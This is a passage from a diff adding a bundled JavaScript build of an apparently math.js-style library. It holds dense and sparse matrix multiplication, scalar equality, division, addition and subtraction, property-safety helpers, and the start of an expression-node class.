* + * @param {Matrix} a Dense Vector (M) + * @param {Matrix} b Dense Matrix (MxN) + * + * @return {Matrix} Dense Vector (N) + */ + + + function _multiplyVectorDenseMatrix(a, b) { + // a dense + var adata = a._data; + var asize = a._size; + var adt = a._datatype; // b dense + + var bdata = b._data; + var bsize = b._size; + var bdt = b._datatype; // rows & columns + + var alength = asize[0]; + var bcolumns = bsize[1]; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + } // result + + + var c = []; // loop matrix columns + + for (var j = 0; j < bcolumns; j++) { + // sum (do not initialize it with zero) + var sum = mf(adata[0], bdata[0][j]); // loop vector + + for (var i = 1; i < alength; i++) { + // multiply & accumulate + sum = af(sum, mf(adata[i], bdata[i][j])); + } + + c[j] = sum; + } // return matrix + + + return new DenseMatrix({ + data: c, + size: [bcolumns], + datatype: dt + }); + } + /** + * C = A * B + * + * @param {Matrix} a Matrix (MxN) + * @param {Matrix} b Dense Vector (N) + * + * @return {Matrix} Dense Vector (M) + */ + + + var _multiplyMatrixVector = typed('_multiplyMatrixVector', { + 'DenseMatrix, any': _multiplyDenseMatrixVector, + 'SparseMatrix, any': _multiplySparseMatrixVector + }); + /** + * C = A * B + * + * @param {Matrix} a Matrix (MxN) + * @param {Matrix} b Matrix (NxC) + * + * @return {Matrix} Matrix (MxC) + */ + + + var _multiplyMatrixMatrix = typed('_multiplyMatrixMatrix', { + 'DenseMatrix, DenseMatrix': _multiplyDenseMatrixDenseMatrix, + 'DenseMatrix, SparseMatrix': _multiplyDenseMatrixSparseMatrix, + 'SparseMatrix, DenseMatrix': _multiplySparseMatrixDenseMatrix, + 'SparseMatrix, SparseMatrix': _multiplySparseMatrixSparseMatrix + }); + /** + * C = A * B + * + * @param {Matrix} a DenseMatrix (MxN) + * @param {Matrix} b Dense Vector (N) + * + * @return {Matrix} Dense Vector (M) + */ + + + function _multiplyDenseMatrixVector(a, b) { + // a dense + var adata = a._data; + var asize = a._size; + var adt = a._datatype; // b dense + + var bdata = b._data; + var bdt = b._datatype; // rows & columns + + var arows = asize[0]; + var acolumns = asize[1]; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + } // result + + + var c = []; // loop matrix a rows + + for (var i = 0; i < arows; i++) { + // current row + var row = adata[i]; // sum (do not initialize it with zero) + + var sum = mf(row[0], bdata[0]); // loop matrix a columns + + for (var j = 1; j < acolumns; j++) { + // multiply & accumulate + sum = af(sum, mf(row[j], bdata[j])); + } + + c[i] = sum; + } // return matrix + + + return new DenseMatrix({ + data: c, + size: [arows], + datatype: dt + }); + } + /** + * C = A * B + * + * @param {Matrix} a DenseMatrix (MxN) + * @param {Matrix} b DenseMatrix (NxC) + * + * @return {Matrix} DenseMatrix (MxC) + */ + + + function _multiplyDenseMatrixDenseMatrix(a, b) { + // a dense + var adata = a._data; + var asize = a._size; + var adt = a._datatype; // b dense + + var bdata = b._data; + var bsize = b._size; + var bdt = b._datatype; // rows & columns + + var arows = asize[0]; + var acolumns = asize[1]; + var bcolumns = bsize[1]; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + } // result + + + var c = []; // loop matrix a rows + + for (var i = 0; i < arows; i++) { + // current row + var row = adata[i]; // initialize row array + + c[i] = []; // loop matrix b columns + + for (var j = 0; j < bcolumns; j++) { + // sum (avoid initializing sum to zero) + var sum = mf(row[0], bdata[0][j]); // loop matrix a columns + + for (var x = 1; x < acolumns; x++) { + // multiply & accumulate + sum = af(sum, mf(row[x], bdata[x][j])); + } + + c[i][j] = sum; + } + } // return matrix + + + return new DenseMatrix({ + data: c, + size: [arows, bcolumns], + datatype: dt + }); + } + /** + * C = A * B + * + * @param {Matrix} a DenseMatrix (MxN) + * @param {Matrix} b SparseMatrix (NxC) + * + * @return {Matrix} SparseMatrix (MxC) + */ + + + function _multiplyDenseMatrixSparseMatrix(a, b) { + // a dense + var adata = a._data; + var asize = a._size; + var adt = a._datatype; // b sparse + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bsize = b._size; + var bdt = b._datatype; // validate b matrix + + if (!bvalues) { + throw new Error('Cannot multiply Dense Matrix times Pattern only Matrix'); + } // rows & columns + + + var arows = asize[0]; + var bcolumns = bsize[1]; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // equalScalar signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); + } // result + + + var cvalues = []; + var cindex = []; + var cptr = []; // c matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [arows, bcolumns], + datatype: dt + }); // loop b columns + + for (var jb = 0; jb < bcolumns; jb++) { + // update ptr + cptr[jb] = cindex.length; // indeces in column jb + + var kb0 = bptr[jb]; + var kb1 = bptr[jb + 1]; // do not process column jb if no data exists + + if (kb1 > kb0) { + // last row mark processed + var last = 0; // loop a rows + + for (var i = 0; i < arows; i++) { + // column mark + var mark = i + 1; // C[i, jb] + + var cij = void 0; // values in b column j + + for (var kb = kb0; kb < kb1; kb++) { + // row + var ib = bindex[kb]; // check value has been initialized + + if (last !== mark) { + // first value in column jb + cij = mf(adata[i][ib], bvalues[kb]); // update mark + + last = mark; + } else { + // accumulate value + cij = af(cij, mf(adata[i][ib], bvalues[kb])); + } + } // check column has been processed and value != 0 + + + if (last === mark && !eq(cij, zero)) { + // push row & value + cindex.push(i); + cvalues.push(cij); + } + } + } + } // update ptr + + + cptr[bcolumns] = cindex.length; // return sparse matrix + + return c; + } + /** + * C = A * B + * + * @param {Matrix} a SparseMatrix (MxN) + * @param {Matrix} b Dense Vector (N) + * + * @return {Matrix} SparseMatrix (M, 1) + */ + + + function _multiplySparseMatrixVector(a, b) { + // a sparse + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var adt = a._datatype; // validate a matrix + + if (!avalues) { + throw new Error('Cannot multiply Pattern only Matrix times Dense Matrix'); + } // b dense + + + var bdata = b._data; + var bdt = b._datatype; // rows & columns + + var arows = a._size[0]; + var brows = b._size[0]; // result + + var cvalues = []; + var cindex = []; + var cptr = []; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // equalScalar signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); + } // workspace + + + var x = []; // vector with marks indicating a value x[i] exists in a given column + + var w = []; // update ptr + + cptr[0] = 0; // rows in b + + for (var ib = 0; ib < brows; ib++) { + // b[ib] + var vbi = bdata[ib]; // check b[ib] != 0, avoid loops + + if (!eq(vbi, zero)) { + // A values & index in ib column + for (var ka0 = aptr[ib], ka1 = aptr[ib + 1], ka = ka0; ka < ka1; ka++) { + // a row + var ia = aindex[ka]; // check value exists in current j + + if (!w[ia]) { + // ia is new entry in j + w[ia] = true; // add i to pattern of C + + cindex.push(ia); // x(ia) = A + + x[ia] = mf(vbi, avalues[ka]); + } else { + // i exists in C already + x[ia] = af(x[ia], mf(vbi, avalues[ka])); + } + } + } + } // copy values from x to column jb of c + + + for (var p1 = cindex.length, p = 0; p < p1; p++) { + // row + var ic = cindex[p]; // copy value + + cvalues[p] = x[ic]; + } // update ptr + + + cptr[1] = cindex.length; // return sparse matrix + + return new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [arows, 1], + datatype: dt + }); + } + /** + * C = A * B + * + * @param {Matrix} a SparseMatrix (MxN) + * @param {Matrix} b DenseMatrix (NxC) + * + * @return {Matrix} SparseMatrix (MxC) + */ + + + function _multiplySparseMatrixDenseMatrix(a, b) { + // a sparse + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var adt = a._datatype; // validate a matrix + + if (!avalues) { + throw new Error('Cannot multiply Pattern only Matrix times Dense Matrix'); + } // b dense + + + var bdata = b._data; + var bdt = b._datatype; // rows & columns + + var arows = a._size[0]; + var brows = b._size[0]; + var bcolumns = b._size[1]; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // equalScalar signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); + } // result + + + var cvalues = []; + var cindex = []; + var cptr = []; // c matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [arows, bcolumns], + datatype: dt + }); // workspace + + var x = []; // vector with marks indicating a value x[i] exists in a given column + + var w = []; // loop b columns + + for (var jb = 0; jb < bcolumns; jb++) { + // update ptr + cptr[jb] = cindex.length; // mark in workspace for current column + + var mark = jb + 1; // rows in jb + + for (var ib = 0; ib < brows; ib++) { + // b[ib, jb] + var vbij = bdata[ib][jb]; // check b[ib, jb] != 0, avoid loops + + if (!eq(vbij, zero)) { + // A values & index in ib column + for (var ka0 = aptr[ib], ka1 = aptr[ib + 1], ka = ka0; ka < ka1; ka++) { + // a row + var ia = aindex[ka]; // check value exists in current j + + if (w[ia] !== mark) { + // ia is new entry in j + w[ia] = mark; // add i to pattern of C + + cindex.push(ia); // x(ia) = A + + x[ia] = mf(vbij, avalues[ka]); + } else { + // i exists in C already + x[ia] = af(x[ia], mf(vbij, avalues[ka])); + } + } + } + } // copy values from x to column jb of c + + + for (var p0 = cptr[jb], p1 = cindex.length, p = p0; p < p1; p++) { + // row + var ic = cindex[p]; // copy value + + cvalues[p] = x[ic]; + } + } // update ptr + + + cptr[bcolumns] = cindex.length; // return sparse matrix + + return c; + } + /** + * C = A * B + * + * @param {Matrix} a SparseMatrix (MxN) + * @param {Matrix} b SparseMatrix (NxC) + * + * @return {Matrix} SparseMatrix (MxC) + */ + + + function _multiplySparseMatrixSparseMatrix(a, b) { + // a sparse + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var adt = a._datatype; // b sparse + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bdt = b._datatype; // rows & columns + + var arows = a._size[0]; + var bcolumns = b._size[1]; // flag indicating both matrices (a & b) contain data + + var values = avalues && bvalues; // datatype + + var dt; // addScalar signature to use + + var af = addScalar; // multiplyScalar signature to use + + var mf = multiplyScalar; // process data types + + if (adt && bdt && adt === bdt && typeof adt === 'string') { + // datatype + dt = adt; // find signatures that matches (dt, dt) + + af = typed.find(addScalar, [dt, dt]); + mf = typed.find(multiplyScalar, [dt, dt]); + } // result + + + var cvalues = values ? [] : undefined; + var cindex = []; + var cptr = []; // c matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [arows, bcolumns], + datatype: dt + }); // workspace + + var x = values ? [] : undefined; // vector with marks indicating a value x[i] exists in a given column + + var w = []; // variables + + var ka, ka0, ka1, kb, kb0, kb1, ia, ib; // loop b columns + + for (var jb = 0; jb < bcolumns; jb++) { + // update ptr + cptr[jb] = cindex.length; // mark in workspace for current column + + var mark = jb + 1; // B values & index in j + + for (kb0 = bptr[jb], kb1 = bptr[jb + 1], kb = kb0; kb < kb1; kb++) { + // b row + ib = bindex[kb]; // check we need to process values + + if (values) { + // loop values in a[:,ib] + for (ka0 = aptr[ib], ka1 = aptr[ib + 1], ka = ka0; ka < ka1; ka++) { + // row + ia = aindex[ka]; // check value exists in current j + + if (w[ia] !== mark) { + // ia is new entry in j + w[ia] = mark; // add i to pattern of C + + cindex.push(ia); // x(ia) = A + + x[ia] = mf(bvalues[kb], avalues[ka]); + } else { + // i exists in C already + x[ia] = af(x[ia], mf(bvalues[kb], avalues[ka])); + } + } + } else { + // loop values in a[:,ib] + for (ka0 = aptr[ib], ka1 = aptr[ib + 1], ka = ka0; ka < ka1; ka++) { + // row + ia = aindex[ka]; // check value exists in current j + + if (w[ia] !== mark) { + // ia is new entry in j + w[ia] = mark; // add i to pattern of C + + cindex.push(ia); + } + } + } + } // check we need to process matrix values (pattern matrix) + + + if (values) { + // copy values from x to column jb of c + for (var p0 = cptr[jb], p1 = cindex.length, p = p0; p < p1; p++) { + // row + var ic = cindex[p]; // copy value + + cvalues[p] = x[ic]; + } + } + } // update ptr + + + cptr[bcolumns] = cindex.length; // return sparse matrix + + return c; + } + + multiply.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['multiply'], "${args[1]}\\right)") + }; + return multiply; +} + +exports.name = 'multiply'; +exports.factory = factory; + +/***/ }), +/* 11 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + /** + * Test whether two values are equal. + * + * @param {number | BigNumber | Fraction | boolean | Complex | Unit} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Complex} y Second value to compare + * @return {boolean} Returns true when the compared values are equal, else returns false + * @private + */ + var equalScalar = typed('equalScalar', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x === y; + }, + 'number, number': function numberNumber(x, y) { + return x === y || nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.eq(y) || bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.equals(y); + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.equals(y); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return equalScalar(x.value, y.value); + } + }); + return equalScalar; +} + +exports.factory = factory; + +/***/ }), +/* 12 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var numeric = load(__webpack_require__(65)); + var getTypeOf = load(__webpack_require__(26)); + /** + * Divide two scalar values, `x / y`. + * This function is meant for internal use: it is used by the public functions + * `divide` and `inv`. + * + * This function does not support collections (Array or Matrix), and does + * not validate the number of of inputs. + * + * @param {number | BigNumber | Fraction | Complex | Unit} x Numerator + * @param {number | BigNumber | Fraction | Complex} y Denominator + * @return {number | BigNumber | Fraction | Complex | Unit} Quotient, `x / y` + * @private + */ + + var divideScalar = typed('divide', { + 'number, number': function numberNumber(x, y) { + return x / y; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.div(y); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.div(y); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.div(y); + }, + 'Unit, number | Fraction | BigNumber': function UnitNumberFractionBigNumber(x, y) { + var res = x.clone(); // TODO: move the divide function to Unit.js, it uses internals of Unit + + var one = numeric(1, getTypeOf(y)); + res.value = divideScalar(res.value === null ? res._normalize(one) : res.value, y); + return res; + }, + 'number | Fraction | BigNumber, Unit': function numberFractionBigNumberUnit(x, y) { + var res = y.clone(); + res = res.pow(-1); // TODO: move the divide function to Unit.js, it uses internals of Unit + + var one = numeric(1, getTypeOf(x)); + res.value = divideScalar(x, y.value === null ? y._normalize(one) : y.value); + return res; + }, + 'Unit, Unit': function UnitUnit(x, y) { + return x.divide(y); + } + }); + return divideScalar; +} + +exports.factory = factory; + +/***/ }), +/* 13 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var hasOwnProperty = __webpack_require__(5).hasOwnProperty; +/** + * Get a property of a plain object + * Throws an error in case the object is not a plain object or the + * property is not defined on the object itself + * @param {Object} object + * @param {string} prop + * @return {*} Returns the property value when safe + */ + + +function getSafeProperty(object, prop) { + // only allow getting safe properties of a plain object + if (isPlainObject(object) && isSafeProperty(object, prop)) { + return object[prop]; + } + + if (typeof object[prop] === 'function' && isSafeMethod(object, prop)) { + throw new Error('Cannot access method "' + prop + '" as a property'); + } + + throw new Error('No access to property "' + prop + '"'); +} +/** + * Set a property on a plain object. + * Throws an error in case the object is not a plain object or the + * property would override an inherited property like .constructor or .toString + * @param {Object} object + * @param {string} prop + * @param {*} value + * @return {*} Returns the value + */ +// TODO: merge this function into access.js? + + +function setSafeProperty(object, prop, value) { + // only allow setting safe properties of a plain object + if (isPlainObject(object) && isSafeProperty(object, prop)) { + object[prop] = value; + return value; + } + + throw new Error('No access to property "' + prop + '"'); +} +/** + * Test whether a property is safe to use for an object. + * For example .toString and .constructor are not safe + * @param {string} prop + * @return {boolean} Returns true when safe + */ + + +function isSafeProperty(object, prop) { + if (!object || _typeof(object) !== 'object') { + return false; + } // SAFE: whitelisted + // e.g length + + + if (hasOwnProperty(safeNativeProperties, prop)) { + return true; + } // UNSAFE: inherited from Object prototype + // e.g constructor + + + if (prop in Object.prototype) { + // 'in' is used instead of hasOwnProperty for nodejs v0.10 + // which is inconsistent on root prototypes. It is safe + // here because Object.prototype is a root object + return false; + } // UNSAFE: inherited from Function prototype + // e.g call, apply + + + if (prop in Function.prototype) { + // 'in' is used instead of hasOwnProperty for nodejs v0.10 + // which is inconsistent on root prototypes. It is safe + // here because Function.prototype is a root object + return false; + } + + return true; +} +/** + * Validate whether a method is safe. + * Throws an error when that's not the case. + * @param {Object} object + * @param {string} method + */ +// TODO: merge this function into assign.js? + + +function validateSafeMethod(object, method) { + if (!isSafeMethod(object, method)) { + throw new Error('No access to method "' + method + '"'); + } +} +/** + * Check whether a method is safe. + * Throws an error when that's not the case (for example for `constructor`). + * @param {Object} object + * @param {string} method + * @return {boolean} Returns true when safe, false otherwise + */ + + +function isSafeMethod(object, method) { + if (!object || typeof object[method] !== 'function') { + return false; + } // UNSAFE: ghosted + // e.g overridden toString + // Note that IE10 doesn't support __proto__ and we can't do this check there. + + + if (hasOwnProperty(object, method) && Object.getPrototypeOf && method in Object.getPrototypeOf(object)) { + return false; + } // SAFE: whitelisted + // e.g toString + + + if (hasOwnProperty(safeNativeMethods, method)) { + return true; + } // UNSAFE: inherited from Object prototype + // e.g constructor + + + if (method in Object.prototype) { + // 'in' is used instead of hasOwnProperty for nodejs v0.10 + // which is inconsistent on root prototypes. It is safe + // here because Object.prototype is a root object + return false; + } // UNSAFE: inherited from Function prototype + // e.g call, apply + + + if (method in Function.prototype) { + // 'in' is used instead of hasOwnProperty for nodejs v0.10 + // which is inconsistent on root prototypes. It is safe + // here because Function.prototype is a root object + return false; + } + + return true; +} + +function isPlainObject(object) { + return _typeof(object) === 'object' && object && object.constructor === Object; +} + +var safeNativeProperties = { + length: true, + name: true +}; +var safeNativeMethods = { + toString: true, + valueOf: true, + toLocaleString: true +}; +exports.getSafeProperty = getSafeProperty; +exports.setSafeProperty = setSafeProperty; +exports.isSafeProperty = isSafeProperty; +exports.validateSafeMethod = validateSafeMethod; +exports.isSafeMethod = isSafeMethod; +exports.isPlainObject = isPlainObject; + +/***/ }), +/* 14 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var extend = __webpack_require__(5).extend; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var addScalar = load(__webpack_require__(17)); + + var latex = __webpack_require__(4); + + var algorithm01 = load(__webpack_require__(37)); + var algorithm04 = load(__webpack_require__(85)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Add two or more values, `x + y`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.add(x, y) + * math.add(x, y, z, ...) + * + * Examples: + * + * math.add(2, 3) // returns number 5 + * math.add(2, 3, 4) // returns number 9 + * + * const a = math.complex(2, 3) + * const b = math.complex(-4, 1) + * math.add(a, b) // returns Complex -2 + 4i + * + * math.add([1, 2, 3], 4) // returns Array [5, 6, 7] + * + * const c = math.unit('5 cm') + * const d = math.unit('2.1 mm') + * math.add(c, d) // returns Unit 52.1 mm + * + * math.add("2.3", "4") // returns number 6.3 + * + * See also: + * + * subtract, sum + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x First value to add + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y Second value to add + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Sum of `x` and `y` + */ + + var add = typed('add', extend({ + // we extend the signatures of addScalar with signatures dealing with matrices + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, addScalar); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, addScalar, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm01(y, x, addScalar, true); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm04(x, y, addScalar); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return add(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return add(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return add(x, matrix(y)); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, addScalar, false); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm10(x, y, addScalar, false); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, addScalar, true); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm10(y, x, addScalar, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, addScalar, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, addScalar, true).valueOf(); + }, + 'any, any': addScalar, + 'any, any, ...any': function anyAnyAny(x, y, rest) { + var result = add(x, y); + + for (var i = 0; i < rest.length; i++) { + result = add(result, rest[i]); + } + + return result; + } + }, addScalar.signatures)); + add.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['add'], "${args[1]}\\right)") + }; + return add; +} + +exports.name = 'add'; +exports.factory = factory; + +/***/ }), +/* 15 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var addScalar = load(__webpack_require__(17)); + var unaryMinus = load(__webpack_require__(39)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm05 = load(__webpack_require__(66)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); // TODO: split function subtract in two: subtract and subtractScalar + + /** + * Subtract two values, `x - y`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.subtract(x, y) + * + * Examples: + * + * math.subtract(5.3, 2) // returns number 3.3 + * + * const a = math.complex(2, 3) + * const b = math.complex(4, 1) + * math.subtract(a, b) // returns Complex -2 + 2i + * + * math.subtract([5, 7, 4], 4) // returns Array [1, 3, 0] + * + * const c = math.unit('2.1 km') + * const d = math.unit('500m') + * math.subtract(c, d) // returns Unit 1.6 km + * + * See also: + * + * add + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x + * Initial value + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y + * Value to subtract from `x` + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} + * Subtraction of `x` and `y` + */ + + var subtract = typed('subtract', { + 'number, number': function numberNumber(x, y) { + return x - y; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.sub(y); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.minus(y); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.sub(y); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (x.value === null) { + throw new Error('Parameter x contains a unit with undefined value'); + } + + if (y.value === null) { + throw new Error('Parameter y contains a unit with undefined value'); + } + + if (!x.equalBase(y)) { + throw new Error('Units do not match'); + } + + var res = x.clone(); + res.value = subtract(res.value, y.value); + res.fixPrefix = false; + return res; + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + checkEqualDimensions(x, y); + return algorithm05(x, y, subtract); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + checkEqualDimensions(x, y); + return algorithm03(y, x, subtract, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + checkEqualDimensions(x, y); + return algorithm01(x, y, subtract, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + checkEqualDimensions(x, y); + return algorithm13(x, y, subtract); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return subtract(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return subtract(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return subtract(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm10(x, unaryMinus(y), addScalar); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, subtract); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm10(y, x, subtract, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, subtract, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, subtract, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, subtract, true).valueOf(); + } + }); + subtract.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['subtract'], "${args[1]}\\right)") + }; + return subtract; +} +/** + * Check whether matrix x and y have the same number of dimensions. + * Throws a DimensionError when dimensions are not equal + * @param {Matrix} x + * @param {Matrix} y + */ + + +function checkEqualDimensions(x, y) { + var xsize = x.size(); + var ysize = y.size(); + + if (xsize.length !== ysize.length) { + throw new DimensionError(xsize.length, ysize.length); + } +} + +exports.name = 'subtract'; +exports.factory = factory; + +/***/ }), +/* 16 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var keywords = __webpack_require__(114); + +var deepEqual = __webpack_require__(5).deepEqual; + +var hasOwnProperty = __webpack_require__(5).hasOwnProperty; + +function factory(type, config, load, typed, math) { + /** + * Node + */ + function Node() { + if (!(this instanceof Node)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + } + /** + * Evaluate the node + * @param {Object} [scope] Scope to read/write variables + * @return {*} Returns the result + */ + + + Node.prototype.eval = function (scope) { + return this.compile().eval(scope); + }; + + Node.prototype.type = 'Node'; + Node.prototype.isNode = true; + Node.prototype.comment = ''; + /** + * Compile the node into an optimized, evauatable JavaScript function + * @return {{eval: function([Object])}} expr Returns an object with a function 'eval', + * which can be invoked as expr.eval([scope: Object]), + * where scope is an optional object with + * variables. + */ + + Node.prototype.compile = function () { + var expr = this._compile(math.expression.mathWithTransform, {}); + + var args = {}; + var context = null; + return { + eval: function evalNode(scope) { + var s = scope || {}; + + _validateScope(s); + + return expr(s, args, context); + } + }; + }; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + + Node.prototype._compile = function (math, argNames) { + throw new Error('Method _compile should be implemented by type ' + this.type); + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ 